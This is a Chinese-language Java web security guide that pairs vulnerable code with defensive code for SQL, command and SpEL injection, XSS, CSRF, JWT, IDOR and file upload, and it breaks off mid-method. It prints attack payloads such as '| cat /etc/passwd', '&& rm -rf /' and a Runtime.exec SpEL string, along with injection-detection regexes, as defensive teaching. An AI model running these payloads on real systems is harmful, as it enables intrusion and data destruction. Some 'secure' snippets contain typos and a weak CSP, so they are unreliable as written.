Java Web常见安全漏洞深度解析与防御指南
一、安全开发概述
1.1 安全开发原则
| 原则 | 说明 | 实践要点 |
|---|---|---|
| 最小权限 | 仅授予完成任务所需的最小权限 | 数据库账号只授予必要权限,应用使用低权限账号运行 |
| 纵深防御 | 多层安全控制,不依赖单一防护 | WAF + 代码过滤 + 数据库参数化 + 审计日志 |
| 默认安全 | 默认配置应是安全的 | 默认关闭调试模式、禁用危险API |
| 失败安全 | 失败时应拒绝访问而非放行 | 认证失败时拒绝访问,而非默认通过 |
| 职责分离 | 关键操作需要多人参与 | 代码审核、权限变更需要审批 |
1.2 安全开发生命周期(SDL)
需求阶段 → 威胁建模
↓
设计阶段 → 安全设计评审
↓
编码阶段 → 安全编码规范 + IDE插件检查
↓
测试阶段 → SAST + DAST + 渗透测试
↓
部署阶段 → 安全配置检查
↓
运维阶段 → 漏洞监控 + 应急响应
二、注入漏洞
2.1 SQL注入
2.1.1 漏洞原理
SQL注入是指攻击者通过在输入中插入恶意SQL代码,使应用程序将用户输入作为SQL命令的一部分执行,从而实现:
- 绕过身份认证
- 非法读取/修改/删除数据
- 执行数据库管理操作
- 读取服务器文件
2.1.2 注入类型
| 类型 | 特征 | 危害等级 |
|---|---|---|
| 联合查询注入 | 使用UNION SELECT获取数据 | ⭐⭐⭐ |
| 布尔盲注 | 通过页面返回差异判断数据 | ⭐⭐⭐ |
| 时间盲注 | 通过响应时间差异判断数据 | ⭐⭐⭐ |
| 报错注入 | 利用数据库报错信息获取数据 | ⭐⭐⭐ |
| 堆叠注入 | 执行多条SQL语句 | ⭐⭐⭐⭐⭐ |
2.1.3 漏洞代码示例
// ❌ 危险:字符串拼接SQL
public User getUserById(String id) {
String sql = "SELECT * FROM users WHERE id = " + id;
return jdbcTemplate.queryForObject(sql, User.class);
}
// ❌ 危险:MyBatis使用${}进行字符串替换
// <select id="getUser" resultType="User">
// SELECT * FROM users WHERE id = ${id}
// </select>
// ❌ 危险:动态拼接LIKE查询
public List<User> searchUsers(String keyword) {
String sql = "SELECT * FROM users WHERE name LIKE '%" + keyword + "%'";
return jdbcTemplate.query(sql, new UserRowMapper());
}
2.1.4 安全防御代码
方案一:PreparedStatement(推荐)
// ✅ 安全:使用预编译语句
@Repository
public class UserRepository {
@Autowired
private JdbcTemplate jdbcTemplate;
public User getUserById(Long id) {
String sql = "SELECT * FROM users WHERE id = ?";
return jdbcTemplate.queryForObject(sql, new UserRowMapper(), id);
}
public List<User> searchUsers(String keyword) {
String sql = "SELECT * FROM users WHERE name LIKE ?";
return jdbcTemplate.query(sql, new UserRowMapper(), "%" + keyword + "%");
}
public int updateUser(String name, Long id) {
String sql = "UPDATE users SET name = ? WHERE id = ?";
return jdbcTemplate.update(sql, name, id);
}
}
方案二:MyBatis安全写法
// ✅ 安全:使用#{}预编译参数
@Mapper
public interface UserMapper {
// 单参数查询
@Select("SELECT * FROM users WHERE id = #{id}")
User getUserById(@Param("id") Long id);
// 动态条件查询
@Select("<script>" +
"SELECT * FROM users WHERE 1=1" +
"<if test='name != null'>AND name = #{name}</if>" +
"<if test='email != null'>AND email = #{email}</if>" +
"</script>")
List<User> searchUsers(@Param("name") String name, @Param("email") String email);
// 批量查询(安全方式)
@Select("<script>" +
"SELECT * FROM users WHERE id IN " +
"<foreach item='id' collection='ids' open='(' separator=',' close=')'>" +
"#{id}" +
"</foreach>" +
"</script>")
List<User> getUsersByIds(@Param("ids") List<Long> ids);
}
方案三:JPA/JPQL安全写法
// ✅ 安全:使用命名参数
@Repository
public interface UserRepository extends JpaRepository<User, Long> {
@Query("SELECT u FROM User u WHERE u.email = :email")
User findByEmail(@Param("email") String email);
@Query("SELECT u FROM User u WHERE u.name LIKE %:keyword% OR u.email LIKE %:keyword%")
List<User> searchByKeyword(@Param("keyword") String keyword);
// 使用Specification进行动态查询
default List<User> dynamicSearch(UserSearchDTO criteria) {
return findAll((root, query, cb) -> {
List<Predicate> predicates = new ArrayList<>();
if (StringUtils.isNotBlank(criteria.getName())) {
predicates.add(cb.like(root.get("name"), "%" + criteria.getName() + "%"));
}
if (StringUtils.getEmail() != null) {
predicates.add(cb.equal(root.get("email"), criteria.getEmail()));
}
return cb.and(predicates.toArray(new Predicate[0]));
});
}
}
方案四:存储过程调用
// ✅ 安全:调用存储过程
@Service
public class UserService {
@PersistenceContext
private EntityManager entityManager;
public User getUserById(Long id) {
StoredProcedureQuery query = entityManager
.createStoredProcedureQuery("sp_get_user", User.class)
.registerStoredProcedureParameter("userId", Long.class, ParameterMode.IN)
.setParameter("userId", id);
return (User) query.getSingleResult();
}
}
2.1.5 企业级防御策略
/**
* SQL注入防护过滤器
* 实现多层防御:参数校验 + SQL日志审计
*/
@Component
@WebFilter(urlPatterns = "/*")
public class SqlInjectionFilter implements Filter {
// SQL注入特征正则表达式
private static final Pattern SQL_INJECTION_PATTERN = Pattern.compile(
"('\\s*(or|and)\\s*')|(--)|(;\\s*(drop|delete|update|insert|exec|execute))" +
"|(union\\s+select)|(select\\s+.*from)|(insert\\s+into)" +
"|(delete\\s+from)|(update\\s+.*set)|(drop\\s+(table|database))",
Pattern.CASE_INSENSITIVE
);
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
// 检查所有参数
if (isSqlInjectionDetected(httpRequest)) {
// 记录攻击日志
logAttackAttempt(httpRequest);
// 返回400错误
HttpServletResponse httpResponse = (HttpServletResponse) response;
httpResponse.setStatus(HttpServletResponse.SC_BAD_REQUEST);
httpResponse.getWriter().write("Invalid input detected");
return;
}
chain.doFilter(request, response);
}
private boolean isSqlInjectionDetected(HttpServletRequest request) {
// 检查URL参数
if (request.getQueryString() != null &&
containsSqlInjection(request.getQueryString())) {
return true;
}
// 检查表单参数
Map<String, String[]> params = request.getParameterMap();
for (String[] values : params.values()) {
for (String value : values) {
if (containsSqlInjection(value)) {
return true;
}
}
}
return false;
}
private boolean containsSqlInjection(String input) {
if (input == null) return false;
// URL解码
String decoded = URLDecoder.decode(input, StandardCharsets.UTF_8);
// 移除多余空格
String normalized = decoded.replaceAll("\\s+", " ");
return SQL_INJECTION_PATTERN.matcher(normalized).find();
}
private void logAttackAttempt(HttpServletRequest request) {
log.warn("SQL Injection attempt detected: IP={}, URI={}, Params={}",
request.getRemoteAddr(),
request.getRequestURI(),
request.getParameterMap());
}
}
2.2 命令注入
2.2.1 漏洞原理
命令注入是指应用程序将用户输入直接拼接到系统命令中执行,攻击者可以注入恶意命令。
2.2.2 漏洞代码示例
// ❌ 危险:直接执行系统命令
public String executeCommand(String userInput) {
Runtime.getRuntime().exec("ping " + userInput);
return "Command executed";
}
// ❌ 危险:使用ProcessBuilder但未过滤
public String getPingResult(String host) throws IOException {
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", host);
Process process = pb.start();
// ...
}
攻击Payload示例:
; ls -la
| cat /etc/passwd
&& rm -rf /
`whoami`
$(id)
2.2.3 安全防御代码
/**
* 安全的命令执行服务
*/
@Service
public class SecureCommandService {
// 允许执行的命令白名单
private static final Set<String> ALLOWED_COMMANDS = Set.of(
"ping", "traceroute", "nslookup"
);
// 参数正则校验(只允许字母、数字、点、横线)
private static final Pattern SAFE_PARAM_PATTERN =
Pattern.compile("^[a-zA-Z0-9.\\-]+$");
// 禁止的危险字符
private static final Pattern DANGEROUS_CHARS =
Pattern.compile("[;&|`$(){}\\[\\]!#\\s]");
/**
* 安全执行ping命令
*/
public String safePing(String host) throws Exception {
// 1. 参数校验
if (!isValidHost(host)) {
throw new IllegalArgumentException("Invalid host format");
}
// 2. 使用白名单命令 + 参数数组(避免shell解释)
ProcessBuilder pb = new ProcessBuilder(
"/bin/ping", // 使用绝对路径
"-c", "3", // 限制ping次数
"-W", "5", // 超时时间
host
);
// 3. 禁止继承IO
pb.redirectErrorStream(true);
// 4. 设置超时控制
Process process = pb.start();
boolean finished = process.waitFor(30, TimeUnit.SECONDS);
if (!finished) {
process.destroyForcibly();
throw new TimeoutException("Command execution timeout");
}
// 5. 读取输出(限制大小防止DoS)
return readProcessOutput(process, 1024 * 1024); // 最大1MB
}
/**
* 主机名校验
*/
private boolean isValidHost(String host) {
if (StringUtils.isBlank(host) || host.length() > 255) {
return false;
}
// 检查危险字符
if (DANGEROUS_CHARS.matcher(host).find()) {
return false;
}
// 校验IP格式或域名格式
return isValidIpAddress(host) || isValidDomainName(host);
}
private boolean isValidIpAddress(String ip) {
try {
InetAddress.getByName(ip);
return true;
} catch (UnknownHostException e) {
return false;
}
}
private boolean isValidDomainName(String domain) {
return domain.matches("^[a-zA-Z0-9]([a-zA-Z0-9\\-]*[a-zA-Z0-9])?(\\.[a-zA-Z]{2,})+$");
}
/**
* 安全读取进程输出(限制大小)
*/
private String readProcessOutput(Process process, int maxSize) throws IOException {
StringBuilder output = new StringBuilder();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
if (output.length() + line.length() > maxSize) {
output.append("\n... [Output truncated]");
break;
}
output.append(line).append("\n");
}
}
return output.toString();
}
}
2.3 表达式注入(SpEL/OGNL)
2.3.1 漏洞原理
Spring表达式语言(SpEL)和OGNL表达式如果被用户控制,可以执行任意代码。
2.3.2 漏洞代码示例
// ❌ 危险:用户输入作为SpEL表达式
@GetMapping("/evaluate")
public String evaluate(@RequestParam String expression) {
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(expression);
return exp.getValue().toString(); // 用户可执行任意代码
}
// ❌ 危险:OGNL表达式注入(Struts2常见)
// ${#context['xwork.MethodAccessor.denyMethodExecution']=false}
攻击Payload示例:
// RCE via SpEL
T(java.lang.Runtime).getRuntime().exec('calc.exe')
// 获取Spring Bean
#{@systemProperties.get('user.dir')}
2.3.3 安全防御代码
/**
* 安全的表达式评估服务
*/
@Service
public class SafeExpressionService {
/**
* 使用SimpleEvaluationContext限制可用功能
*/
public Object safeEvaluate(String expression, Map<String, Object> variables) {
// 1. 使用安全的评估上下文(禁止反射和类型引用)
SimpleEvaluationContext context = SimpleEvaluationContext
.forReadOnlyDataBinding()
.withRootObject(variables)
.build();
// 2. 创建受限的SpEL解析器
SpelExpressionParser parser = new SpelExpressionParser();
// 3. 解析并评估
Expression exp = parser.parseExpression(expression);
return exp.getValue(context);
}
/**
* 白名单方式:只允许特定表达式模式
*/
private static final Pattern SAFE_EXPRESSION =
Pattern.compile("^[a-zA-Z_][a-zA-Z0-9_.]*(\\[.*\\])*$");
public Object whitelistEvaluate(String expression) {
if (!SAFE_EXPRESSION.matcher(expression).matches()) {
throw new SecurityException("Expression not allowed: " + expression);
}
// 使用标准Bean表达式解析(更安全)
BeanExpressionResolver resolver = new StandardBeanExpressionResolver();
return resolver.evaluate(expression, new BeanExpressionContext(
applicationContext.getBeanFactory(), null
));
}
}
三、身份认证与访问控制
3.1 XSS跨站脚本攻击
3.1.1 漏洞原理
XSS(Cross-Site Scripting)是指攻击者在网页中注入恶意脚本代码,当其他用户访问该页面时,脚本会在受害者浏览器中执行。
3.1.2 XSS类型
| 类型 | 存储位置 | 触发方式 | 危害等级 |
|---|---|---|---|
| 反射型XSS | URL参数 | 用户点击恶意链接 | ⭐⭐⭐ |
| 存储型XSS | 数据库 | 用户访问页面自动触发 | ⭐⭐⭐⭐⭐ |
| DOM型XSS | 前端JS | 客户端脚本执行 | ⭐⭐⭐ |
| Mutation XSS | 浏览器解析 | 浏览器解析差异触发 | ⭐⭐⭐⭐ |
3.1.3 漏洞代码示例
// ❌ 危险:直接输出用户输入到HTML
@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
model.addAttribute("keyword", keyword); // 未转义
return "search";
}
// 模板中
// <p>搜索结果:${keyword}</p>
// ❌ 危险:JavaScript中输出未转义数据
// <script>
// var userData = "${userInput}"; // 用户输入 "<script>alert(1)</script>"
// </script>
3.1.4 安全防御代码
方案一:Thymeleaf自动转义(推荐)
<!-- ✅ 安全:Thymeleaf默认HTML转义 -->
<p th:text="${userInput}">自动转义,安全</p>
<!-- ✅ 安全:JavaScript字符串转义 -->
<script th:inline="javascript">
var userData = [[${userInput}]]; // 自动转义JS特殊字符
</script>
<!-- ✅ 安全:URL参数转义 -->
<a th:href="@{/search(keyword=${keyword})}">搜索</a>
<!-- ❌ 危险:禁用转义 -->
<!-- <p th:utext="${userInput}">不转义,危险!</p> -->
方案二:自定义XSS过滤器
/**
* XSS攻击过滤器
*/
@Component
@WebFilter(urlPatterns = "/*", asyncSupported = true)
public class XssFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
chain.doFilter(
new XssHttpServletRequestWrapper((HttpServletRequest) request),
response
);
}
}
/**
* XSS请求包装器
*/
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
public XssHttpServletRequestWrapper(HttpServletRequest request) {
super(request);
}
@Override
public String getParameter(String name) {
String value = super.getParameter(name);
return value != null ? cleanXSS(value) : null;
}
@Override
public String[] getParameterValues(String name) {
String[] values = super.getParameterValues(name);
if (values == null) return null;
String[] cleanValues = new String[values.length];
for (int i = 0; i < values.length; i++) {
cleanValues[i] = cleanXSS(values[i]);
}
return cleanValues;
}
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
return value != null ? cleanXSS(value) : null;
}
/**
* 清理XSS攻击代码
*/
private String cleanXSS(String value) {
if (value == null) return null;
// HTML实体编码
value = HtmlUtils.htmlEscape(value, "UTF-8");
// 额外的XSS过滤规则
value = value.replaceAll("(?i)<script[^>]*>", "");
value = value.replaceAll("(?i)</script>", "");
value = value.replaceAll("(?i)javascript:", "");
value = value.replaceAll("(?i)on\\w+\\s*=", "");
value = value.replaceAll("(?i)expression\\s*\\(", "");
return value;
}
}
方案三:Spring Security XSS防护配置
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
// 启用XSS保护
.xssProtection(xss -> xss
.headerValue(XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK)
)
// 内容安全策略
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self' 'unsafe-inline' 'unsafe-eval'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data:; " +
"font-src 'self'; " +
"frame-ancestors 'none'"
)
)
// 防止MIME类型嗅探
.contentTypeOptions(cto -> {})
// 防止点击劫持
.frameOptions(frame -> frame.deny())
);
return http.build();
}
}
方案四:前端XSS防护
// ✅ 安全的DOM操作
function safeSetContent(element, userContent) {
// 使用textContent而非innerHTML
element.textContent = userContent;
}
// ✅ 安全的属性设置
function safeSetAttribute(element, attr, value) {
if (attr === 'href' || attr === 'src') {
// 校验URL协议
if (!value.match(/^https?:\/\//)) {
value = 'javascript:void(0)';
}
}
element.setAttribute(attr, value);
}
// ✅ 使用DOMPurify库进行HTML清理
import DOMPurify from 'dompurify';
function safeSetHTML(element, dirtyHTML) {
element.innerHTML = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'title']
});
}
3.2 CSRF跨站请求伪造
3.2.1 漏洞原理
CSRF(Cross-Site Request Forgery)攻击者诱导用户访问恶意网站,利用用户已登录的身份,在用户不知情的情况下执行非预期操作。
3.2.2 漏洞场景
1. 用户登录银行网站(bank.com),获得Session Cookie
2. 用户访问恶意网站(evil.com)
3. 恶意网站包含:<img src="https://bank.com/transfer?to=attacker&amount=10000">
4. 浏览器自动携带Cookie发送请求
5. 银行服务器认为是用户正常操作,执行转账
2.2.3 安全防御代码
方案一:Spring Security CSRF防护(默认开启)
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
// CSRF防护(默认开启)
.csrf(csrf -> csrf
// 自定义Token存储
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
// 忽略特定路径(如API接口)
.ignoringRequestMatchers("/api/**")
);
return http.build();
}
}
方案二:前后端分离 + JWT场景
@Configuration
@EnableWebSecurity
public class JwtSecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
// 使用JWT时可禁用CSRF(JWT本身防CSRF)
.csrf(csrf -> csrf.disable())
// 无状态Session
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
)
// JWT过滤器
.addFilterBefore(jwtAuthenticationFilter(),
UsernamePasswordAuthenticationFilter.class);
return http.build();
}
}
方案三:SameSite Cookie配置
@Configuration
public class CookieConfig {
@Bean
public CookieSameSiteAttributeCustomizer cookieSameSiteAttributeCustomizer() {
return (container) -> {
SessionCookieConfig cookie = container.getSessionCookieConfig();
cookie.setHttpOnly(true);
cookie.setSecure(true);
// 设置SameSite=Strict或Lax
};
}
}
// Spring Boot 2.6+ 配置
// application.yml
// server:
// servlet:
// session:
// cookie:
// same-site: lax
// secure: true
// http-only: true
方案四:双重提交Cookie模式
/**
* 双重提交Cookie CSRF防护
*/
@Component
public class DoubleSubmitCsrfFilter implements Filter {
private static final String CSRF_HEADER = "X-CSRF-TOKEN";
private static final String CSRF_COOKIE = "CSRF-TOKEN";
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
// GET请求设置CSRF Token
if ("GET".equalsIgnoreCase(httpRequest.getMethod())) {
String token = generateCsrfToken();
Cookie cookie = new Cookie(CSRF_COOKIE, token);
cookie.setHttpOnly(false); // 前端需要读取
cookie.setSecure(true);
cookie.setPath("/");
httpResponse.addCookie(cookie);
chain.doFilter(request, response);
return;
}
// 非GET请求验证CSRF Token
String headerToken = httpRequest.getHeader(CSRF_HEADER);
String cookieToken = getCookieValue(httpRequest, CSRF_COOKIE);
if (headerToken == null || !headerToken.equals(cookieToken)) {
httpResponse.setStatus(HttpServletResponse.SC_FORBIDDEN);
httpResponse.getWriter().write("CSRF token validation failed");
return;
}
chain.doFilter(request, response);
}
private String generateCsrfToken() {
byte[] bytes = new byte[32];
new SecureRandom().nextBytes(bytes);
return Base64.getEncoder().encodeToString(bytes);
}
private String getCookieValue(HttpServletRequest request, String name) {
if (request.getCookies() == null) return null;
return Arrays.stream(request.getCookies())
.filter(c -> name.equals(c.getName()))
.map(Cookie::getValue)
.findFirst()
.orElse(null);
}
}
3.3 JWT安全
3.3.1 漏洞原理
JWT(JSON Web Token)常见安全问题:
- 算法混淆攻击:将RS256改为HS256,使用公钥作为密钥
- 弱密钥:密钥可被暴力破解
- Token泄露:存储不当导致Token被盗
- 缺少过期机制:Token永久有效
3.3.2 漏洞代码示例
// ❌ 危险:使用弱密钥
String secret = "123456";
// ❌ 危险:未验证算法
DecodedJWT jwt = JWT.decode(token); // 不验证签名
// ❌ 危险:将敏感信息放入JWT
String token = JWT.create()
.withClaim("password", user.getPassword()) // 密码不应放入JWT
.sign(algorithm);
3.3.3 安全防御代码
/**
* 安全的JWT服务
*/
@Service
public class SecureJwtService {
// ✅ 使用强密钥(至少256位)
@Value("${jwt.secret}")
private String secret; // 从配置中心读取,不在代码中硬编码
// ✅ Token有效期
private static final long ACCESS_TOKEN_EXPIRY = 15 * 60 * 1000; // 15分钟
private static final long REFRESH_TOKEN_EXPIRY = 7 * 24 * 60 * 60 * 1000; // 7天
private Algorithm algorithm;
@PostConstruct
public void init() {
// ✅ 使用HMAC SHA256算法
this.algorithm = Algorithm.HMAC256(secret);
}
/**
* 生成Access Token
*/
public String generateAccessToken(UserDetails userDetails) {
return JWT.create()
.withSubject(userDetails.getUsername())
.withIssuedAt(new Date())
.withExpiresAt(new Date(System.currentTimeMillis() + ACCESS_TOKEN_EXPIRY))
.withIssuer("my-app")
.withClaim("roles", userDetails.getAuthorities().stream()
.map(GrantedAuthority::getAuthority)
.collect(Collectors.toList()))
// ✅ 不放入敏感信息
.sign(algorithm);
}
/**
* 生成Refresh Token
*/
public String generateRefreshToken(UserDetails userDetails) {
return JWT.create()
.withSubject(userDetails.getUsername())
.withIssuedAt(new Date())
.withExpiresAt(new Date(System.currentTimeMillis() + REFRESH_TOKEN_EXPIRY))
.withIssuer("my-app")
.withJWTId(UUID.randomUUID().toString()) // 唯一ID,用于Token撤销
.sign(algorithm);
}
/**
* 验证Token
*/
public DecodedJWT verifyToken(String token) {
try {
// ✅ 指定允许的算法(防止算法混淆攻击)
JWTVerifier verifier = JWT.require(algorithm)
.withIssuer("my-app")
.acceptExpiresAt(5) // 5秒的时钟偏差容忍
.build();
return verifier.verify(token);
} catch (JWTVerificationException e) {
log.warn("JWT verification failed: {}", e.getMessage());
throw new InvalidTokenException("Invalid token", e);
}
}
/**
* Token黑名单(用于登出和Token撤销)
*/
@Component
public static class TokenBlacklist {
@Autowired
private RedisTemplate<String, String> redisTemplate;
private static final String BLACKLIST_PREFIX = "token:blacklist:";
public void blacklist(String tokenId, long expiryTime) {
long ttl = expiryTime - System.currentTimeMillis();
if (ttl > 0) {
redisTemplate.opsForValue().set(
BLACKLIST_PREFIX + tokenId,
"revoked",
ttl,
TimeUnit.MILLISECONDS
);
}
}
public boolean isBlacklisted(String tokenId) {
return Boolean.TRUE.equals(
redisTemplate.hasKey(BLACKLIST_PREFIX + tokenId)
);
}
}
}
/**
* JWT认证过滤器
*/
@Component
public class JwtAuthenticationFilter extends OncePerRequestFilter {
@Autowired
private SecureJwtService jwtService;
@Autowired
private SecureJwtService.TokenBlacklist tokenBlacklist;
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain chain) throws ServletException, IOException {
String token = extractToken(request);
if (token == null) {
chain.doFilter(request, response);
return;
}
try {
DecodedJWT jwt = jwtService.verifyToken(token);
// ✅ 检查Token是否在黑名单中
if (tokenBlacklist.isBlacklisted(jwt.getId())) {
throw new InvalidTokenException("Token has been revoked");
}
// 创建认证对象
UsernamePasswordAuthenticationToken authentication =
new UsernamePasswordAuthenticationToken(
jwt.getSubject(),
null,
jwt.getClaim("roles").asList(String.class).stream()
.map(SimpleGrantedAuthority::new)
.collect(Collectors.toList())
);
SecurityContextHolder.getContext().setAuthentication(authentication);
} catch (JWTVerificationException e) {
log.warn("JWT authentication failed: {}", e.getMessage());
}
chain.doFilter(request, response);
}
private String extractToken(HttpServletRequest request) {
String header = request.getHeader("Authorization");
if (header != null && header.startsWith("Bearer ")) {
return header.substring(7);
}
return null;
}
}
3.4 越权访问(IDOR)
3.4.1 漏洞原理
IDOR(Insecure Direct Object Reference)是指应用程序直接使用用户可控的参数访问对象,未验证用户是否有权访问该对象。
3.4.2 漏洞类型
| 类型 | 说明 | 示例 |
|---|---|---|
| 水平越权 | 访问同级别其他用户的数据 | 用户A查看用户B的订单 |
| 垂直越权 | 访问更高权限的功能 | 普通用户访问管理员接口 |
| 对象级越权 | 访问未授权的API对象 | 修改用户ID获取他人信息 |
3.4.3 漏洞代码示例
// ❌ 危险:未校验资源所属用户
@GetMapping("/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
return orderRepository.findById(orderId)
.orElseThrow(() -> new NotFoundException("Order not found"));
// 任何用户都可以访问任何订单
}
3.4.4 安全防御代码
方案一:方法级权限校验
/**
* 订单服务 - 实现权限校验
*/
@Service
@Transactional
public class SecureOrderService {
@Autowired
private OrderRepository orderRepository;
/**
* 水平权限校验:用户只能访问自己的订单
*/
public Order getOrder(Long orderId, Long userId) {
Order order = orderRepository.findById(orderId)
.orElseThrow(() -> new NotFoundException("Order not found"));
// ✅ 校验订单所属用户
if (!order.getUserId().equals(userId)) {
throw new AccessDeniedException("You don't have permission to access this order");
}
return order;
}
/**
* 使用Specification实现查询级别的数据隔离
*/
public Page<Order> getUserOrders(Long userId, Pageable pageable) {
// ✅ 查询条件强制加上userId过滤
Specification<Order> spec = (root, query, cb) ->
cb.equal(root.get("userId"), userId);
return orderRepository.findAll(spec, pageable);
}
}
/**
* 控制器层权限校验
*/
@RestController
@RequestMapping("/api/orders")
public class OrderController {
@Autowired
private SecureOrderService orderService;
@GetMapping("/{orderId}")
public ResponseEntity<OrderDTO> getOrder(
@PathVariable Long orderId,
@AuthenticationPrincipal UserDetails userDetails) {
Long currentUserId = getCurrentUserId(userDetails);
Order order = orderService.getOrder(orderId, currentUserId);
return ResponseEntity.ok(toDTO(order));
}
}
方案二:使用Spring Security权限注解
/**
* 管理员接口 - 垂直权限控制
*/
@RestController
@RequestMapping("/api/admin")
@PreAuthorize("hasRole('ADMIN')") // ✅ 类级别权限控制
public class AdminController {
@GetMapping("/users")
@PreAuthorize("hasAuthority('user:read')") // ✅ 方法级别权限控制
public ResponseEntity<List<UserDTO>> getAllUsers() {
// ...
}
@DeleteMapping("/users/{userId}")
@PreAuthorize("hasAuthority('user:delete')")
public ResponseEntity<Void> deleteUser(@PathVariable Long userId) {
// ...
}
}
/**
* 自定义权限评估器
*/
@Component("permissionEvaluator")
public class CustomPermissionEvaluator implements PermissionEvaluator {
@Autowired
private ObjectPermissionService permissionService;
@Override
public boolean hasPermission(Authentication authentication,
Object targetDomainObject, Object permission) {
if (targetDomainObject == null) return false;
Long userId = getUserId(authentication);
String targetType = targetDomainObject.getClass().getSimpleName();
return permissionService.hasPermission(userId, targetType,
targetDomainObject, permission.toString());
}
@Override
public boolean hasPermission(Authentication authentication,
Serializable targetId, String targetType, Object permission) {
Long userId = getUserId(authentication);
return permissionService.hasPermission(userId, targetType,
targetId, permission.toString());
}
private Long getUserId(Authentication authentication) {
return ((UserDetails) authentication.getPrincipal()).getId();
}
}
// 使用自定义权限评估器
@PreAuthorize("hasPermission(#orderId, 'Order', 'read')")
public Order getOrder(Long orderId) {
// ...
}
方案三:数据行级权限(Row Level Security)
/**
* 基于Hibernate Filter的数据行级权限
*/
@Entity
@Table(name = "orders")
@FilterDef(name = "tenantFilter", parameters = {
@ParamDef(name = "tenantId", type = "long")
})
@Filter(name = "tenantFilter", condition = "tenant_id = :tenantId")
public class Order {
// ...
@Column(name = "tenant_id")
private Long tenantId;
}
/**
* 租户过滤器自动应用
*/
@Component
public class TenantFilterInterceptor implements MethodInterceptor {
@PersistenceContext
private EntityManager entityManager;
@Override
public Object invoke(MethodInvocation invocation) throws Throwable {
try {
// 自动应用租户过滤器
enableTenantFilter();
return invocation.proceed();
} finally {
disableTenantFilter();
}
}
private void enableTenantFilter() {
Long tenantId = SecurityUtils.getCurrentTenantId();
Session session = entityManager.unwrap(Session.class);
session.enableFilter("tenantFilter").setParameter("tenantId", tenantId);
}
private void disableTenantFilter() {
Session session = entityManager.unwrap(Session.class);
session.disableFilter("tenantFilter");
}
}
四、文件与资源处理
4.1 文件上传漏洞
4.1.1 漏洞原理
文件上传漏洞是指攻击者上传恶意文件(如WebShell),服务器未正确校验文件类型、内容或存储位置,导致恶意代码被执行。
4.1.2 常见绕过方式
| 绕过方式 | 说明 | 防御方法 |
|---|---|---|
| 扩展名绕过 | 使用.php5、.phtml等 | 白名单校验 |
| MIME类型绕过 | 修改Content-Type | 检查文件魔数 |
| 文件内容绕过 | 图片马 | 检查文件头 |
| 双扩展名绕过 | shell.php.jpg | 规范化文件名 |
| 00截断 | shell.php%00.jpg | 使用新版本JDK |
| .htaccess绕过 | 上传.htaccess | 禁止上传配置文件 |
4.1.3 安全防御代码
/**
* 企业级安全文件上传服务
*/
@Service
@Slf4j
public class SecureFileUploadService {
// 白名单:允许的文件类型
private static final Map<String, Set<String>> ALLOWED_TYPES = Map.of(
"image", Set.of("jpg", "jpeg", "png", "gif", "webp"),
"document", Set.of("pdf", "doc", "docx", "xls", "xlsx"),
"archive", Set.of("zip", "rar", "7z")
);
// 文件魔数(文件头)校验
private static final Map<String, byte[]> FILE_SIGNATURES = Map.of(
"jpg", new byte[]{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF},
"png", new byte[]{(byte) 0x89, 0x50, 0x4E, 0x47},
"gif", new byte[]{0x47, 0x49, 0x46, 0x38},
"pdf", new byte[]{0x25, 0x50, 0x44, 0x46}
);
// 文件大小限制
private static final long MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
@Autowired
private VirusScanService virusScanService;
@Autowired
private OssClient ossClient;
/**
* 安全上传文件
*/
@Transactional
public UploadResult upload(MultipartFileultipartFile file, String category)
throws IOException {
// 1. 基础校验
validateBasic(file);
// 2. 文件类型校验(白名单)
String fileExtension = validateFileType(file, category);
// 3. 文件魔数校验(比扩展名更可靠)
validateFileMagic(file, fileExtension);
// 4. 文件内容病毒扫描
virusScanService.scan(file);
// 5. 重命名文件(避免路径遍历和文件名冲突)
String secureFilename = generateSecureFilename(fileExtension);
// 6. 存储到对象存储(OSS/S3/MinIO)
String url = ossClient.putObject(
getBucketName(category),
secureFilename,
file.getInputStream(),
file.getContentType()
);
// 7. 保存文件记录到数据库
FileRecord record = saveFileRecord(file, secureFilename, url, category);
// 8. 记录审计日志
auditLog("FILE_UPLOAD", secureFilename, getCurrentUserId());
return UploadResult.builder()
.fileId(record.getId())
.filename(secureFilename)
.url(url)
.size(file.getSize())
.contentType(file.getContentType())
.build();
}
/**
* 基础校验
*/
private void validateBasic(MultipartFile file) {
if (file == null || file.isEmpty()) {
throw new BusinessException("文件不能为空");
}
if (file.getSize() > MAX_FILE_SIZE) {
throw new BusinessException("文件大小超过限制: " + MAX_FILE_SIZE / 1024 / 1024 + "MB");
}
}
/**
* 文件类型校验
*/
private String validateFileType(MultipartFile file, String category) {
// 获取原始文件名
String originalFilename = file.getOriginalFilename();
if (originalFilename == null) {
